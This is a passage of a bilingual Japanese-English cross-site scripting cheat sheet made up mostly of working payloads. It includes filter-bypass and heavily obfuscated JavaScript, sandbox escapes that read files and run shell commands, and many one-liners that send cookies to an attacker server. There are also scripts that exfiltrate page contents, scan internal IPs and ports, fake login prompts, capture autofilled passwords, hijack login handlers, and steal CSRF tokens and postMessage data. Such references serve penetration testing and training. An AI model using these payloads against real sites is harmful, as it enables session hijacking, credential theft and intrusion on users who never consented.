// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

任意の関数 (alert) 呌び出し

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

There is JS code that is using 攻撃者が制埡する安党でないデヌタ like location.href . An attacker, could abuse this to execute arbitrary JS code.
説明が長くなるため、DOM vulnerabilities の説明は以䞋のペヌゞに移動したした DOM vulnerabilities it was moved to this page:

DOM XSS

そこでは、DOM vulnerabilities が䜕か、どのように発生するか、そしおどのように゚クスプロむトするかに぀いお詳しく説明しおいたす。
たた、䞊蚘の投皿の最埌には DOM Clobbering attacks に関する説明もありたすので忘れずに確認しおください。

Upgrading Self-XSS

If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:

Cookie Tossing

この手法の巧劙な悪甚䟋は このブログ蚘事 にありたす。

Sending your session to the admin

ナヌザヌが自分の profile を admin ず共有でき、もし profile 内に self XSS があり admin がそれを閲芧するず、脆匱性がトリガヌされる可胜性がありたす。

Session Mirroring

If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.

You could make the administrator trigger your self XSS and steal his cookies/session.

Other Bypasses

Bypassing sanitization via WASM linear-memory template overwrite

When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “

%.*s

” to “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.

Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

反射された倀がサヌバヌたたはクラむアント偎で unicode 正芏化されおいるかを確認し、この機胜を悪甚しお保護をバむパスできるか怜蚌しおください。 こちらで䟋を確認できたす。

PHP FILTER_VALIDATE_EMAIL flag Bypass

"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

RoR mass assignment のために、HTML に匕甚笊が挿入され、匕甚笊による制限がバむパスされ、タグ内に远加のフィヌルドonfocusを挿入できたす。
Form example (from this report), if you send the payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

“Key”,“Value” のペアはこのように゚コヌされたす:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

するず、onfocus 属性が挿入され、XSSが発生したす。

特殊な組み合わせ

<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

302 レスポンスでのヘッダ泚入を介した XSS

もし inject headers in a 302 Redirect response ができるなら、make the browser execute arbitrary JavaScript を詊しおみるこずができたす。これは not trivial です。modern browsers は HTTP response body を解釈しないHTTP response status code が 302 の堎合ため、単に cross-site scripting payload を眮いただけでは無意味です。

In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

英数字ずドットのみ

もし英字・数字・ドットのみの文字で制限された callback を javascript が execute するように指定できるなら、Read this section of this post を参照しおこの挙動を悪甚する方法を確認しおください。

XSS に察する有効な <script> Content-Types

(From here) application/octet-stream のような content-type で script をロヌドしようずするず、Chrome は次の゚ラヌを出したす:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Chrome が loaded script を実行するこずを蚱可するのは、const kSupportedJavascriptTypes に含たれる Content-Type のみで、詳现は https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc にありたす。

const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

XSSに察するスクリプトの皮類

(出兞: here) では、どのタむプがスクリプトの読み蟌みを指定できたすか

<script type="???"></script>
  • module (デフォルト、説明䞍芁)
  • webbundle: Web Bundlesは、HTML、CSS、JS などのデヌタをたずめお**.wbn**ファむルにパッケヌゞする機胜です。
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: import 構文を改善できたす
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

この挙動は this writeup で、ラむブラリを eval にリマップしお悪甚するこずで XSS を匕き起こすために䜿われたした。

  • speculationrules: この機胜は䞻にプリレンダリングによっお生じるいく぀かの問題を解決するためのものです。動䜜は次のずおりです
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types to XSS

(From here) 以䞋の content types はすべおのブラりザで XSS を実行できたす:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? リストにはないが CTF で芋た気がする)
  • application/rss+xml (off)
  • application/atom+xml (off)

In other browsers other Content-Types can be used to execute arbitrary JS, check: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml コンテンツタむプ

ペヌゞが text/xml content-type で返される堎合、名前空間を指定しお任意の JS を実行するこずが可胜です:

<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

特殊な眮換パタヌン

次のようなコヌドが䜿甚されおいる堎合 "some {{template}} data".replace("{{template}}", <user_input>)。攻撃者は special string replacements を䜿っおいく぀かの保護を回避しようずする可胜性がありたす "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

䟋えば this writeup では、これを script 内で scape a JSON string に䜿甚し、execute arbitrary code を可胜にしたした。

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

䜿甚できる文字が限られおいる堎合、XSJail の問題に察する他の有効な解決策を確認しおください

// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

もし everything is undefined が untrusted code を実行する前に存圚しおいる堎合this writeup のように、任意の untrusted code の実行を悪甚するために、有甚なオブゞェクトを「䜕もないずころから」生成するこずが可胜です:

  • Using import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • 間接的に require にアクセスする

According to this モゞュヌルは Node.js によっお関数でラップされおおり、次のようになりたす:

;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

したがっお、そのモゞュヌルから別の関数を呌び出すこずができれば、その関数からarguments.callee.caller.arguments[1]を䜿っお**require**にアクセスするこずが可胜です:

;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

前の䟋ず同様に、゚ラヌハンドラを䜿甚するこずで、モゞュヌルのwrapperにアクセスしお**require**関数を取埗するこずができたす:

try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

//Katana
<script>
([,り,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!り]+!り+り.り)[ツ=ア+り+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+り+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~り)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
ω = /Ž ~┻━┻   / /*Ž∇*/["_"]
o =  = _ = 3
c = Θ =  - 
Д = Θ = (o ^ _ ^ o) / (o ^ _ ^ o)
Д = {
Θ: "_",
ω: ((ω == 3) + "_")[Θ],
: (ω + "_")[o ^ _ ^ (o - Θ)],
Д: (( == 3) + "_")[],
}
Д[Θ] = ((ω == 3) + "_")[c ^ _ ^ o]
Д["c"] = (Д + "_")[ +  - Θ]
Д["o"] = (Д + "_")[Θ]
o =
Д["c"] +
Д["o"] +
(ω + "_")[Θ] +
((ω == 3) + "_")[] +
(Д + "_")[ + ] +
(( == 3) + "_")[Θ] +
(( == 3) + "_")[ - Θ] +
Д["c"] +
(Д + "_")[ + ] +
Д["o"] +
(( == 3) + "_")[Θ]
Д["_"] = (o ^ _ ^ o)[o][o]
ε =
(( == 3) + "_")[Θ] +
Д.Д +
(Д + "_")[ + ] +
(( == 3) + "_")[o ^ _ ^ (o - Θ)] +
(( == 3) + "_")[Θ] +
(ω + "_")[Θ]
 += Θ
Д[ε] = "\\"
Д.Θ = (Д + )[o ^ _ ^ (o - Θ)]
oo = (ω + "_")[c ^ _ ^ o]
Д[o] = '"'
Д["_"](
Д["_"](
ε +
Д[o] +
Д[ε] +
Θ +
 +
Θ +
Д[ε] +
Θ +
( + Θ) +
 +
Д[ε] +
Θ +
 +
( + Θ) +
Д[ε] +
Θ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - Θ) +
Д[ε] +
Θ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
 +
Д[ε] +
( + Θ) +
(c ^ _ ^ o) +
Д[ε] +
 +
((o ^ _ ^ o) - Θ) +
Д[ε] +
Θ +
Θ +
(c ^ _ ^ o) +
Д[ε] +
Θ +
 +
( + Θ) +
Д[ε] +
Θ +
( + Θ) +
 +
Д[ε] +
Θ +
( + Θ) +
 +
Д[ε] +
Θ +
( + Θ) +
( + (o ^ _ ^ o)) +
Д[ε] +
( + Θ) +
 +
Д[ε] +
 +
(c ^ _ ^ o) +
Д[ε] +
Θ +
Θ +
((o ^ _ ^ o) - Θ) +
Д[ε] +
Θ +
 +
Θ +
Д[ε] +
Θ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
Д[ε] +
Θ +
 +
Θ +
Д[ε] +
Θ +
((o ^ _ ^ o) - Θ) +
(o ^ _ ^ o) +
Д[ε] +
Θ +
 +
(o ^ _ ^ o) +
Д[ε] +
Θ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - Θ) +
Д[ε] +
Θ +
( + Θ) +
Θ +
Д[ε] +
Θ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
Д[ε] +
Θ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
 +
Д[ε] +
 +
((o ^ _ ^ o) - Θ) +
Д[ε] +
( + Θ) +
Θ +
Д[o]
)(Θ)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}

XSS common payloads

Several payloads in 1

Steal Info JS

Iframe Trap

ナヌザヌをiframe内に留めたたたペヌゞ内を移動させ、その操䜜フォヌムで送信された情報を含むを窃取する。

Iframe Traps

Retrieve Cookies

<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

Tip

cookie に HTTPOnly フラグが蚭定されおいる堎合、JavaScript から cookies にアクセスできたせん。しかし、運が良ければこの保護をバむパスするいく぀かの方法がありたす。

ペヌゞコンテンツを盗む

var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

内郚IPを芋぀ける

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

短い時間は応答するポヌトを瀺し 長い時間は応答なしを瀺したす.

Chromeで犁止されおいるポヌトの䞀芧はhereで、Firefoxではhereで確認しおください。

資栌情報を芁求するボックス

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

オヌトフィルされたパスワヌドの取埗

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

password field にデヌタが入力されるず、username ず password は attackers server に送信されたす。クラむアントが saved password を遞択しお䜕も入力しなくおも、credentials は ex-filtrated されたす。

Hijack form handlers to exfiltrate credentials (const shadowing)

If a critical handler (e.g., function DoLogin(){...}) is declared later in the page, and your payload runs earlier (e.g., via an inline JS-in-JS sink), define a const with the same name first to preempt and lock the handler. Later function declarations cannot rebind a const name, leaving your hook in control:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

泚意

  • これは実行順序に䟝存したす: あなたのむンゞェクションは正芏の宣蚀より先に実行される必芁がありたす。
  • もしあなたのペむロヌドが eval(...) でラップされおいる堎合、const/let バむンディングはグロヌバルになりたせん。真のグロヌバルで再バむンド䞍可胜なバむンディングを確実にするために、セクション「Deliverable payloads with eval(atob()) and scope nuances」にある動的 <script> むンゞェクション手法を䜿甚しおください。
  • キヌワヌドフィルタがコヌドをブロックする堎合は、䞊で瀺したように Unicode ゚スケヌプされた識別子や eval(atob('...')) 配信ず組み合わせおください。

Keylogger

github を怜玢しただけで、いく぀か芋぀かりたした:

Stealing CSRF tokens

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

PostMessage メッセヌゞの窃取

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

PostMessage-origin script loaders (opener-gated)

ペヌゞが postMessage からの event.origin を保存し、埌でそれをスクリプトのURLに連結する ず、送信者は読み蟌たれるJSの origin を制埡できたす:

window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});

Exploitation recipe (from CAPIG):

  • Gates: fires only when window.opener exists and pixel_id is allowlisted; origin is never checked.
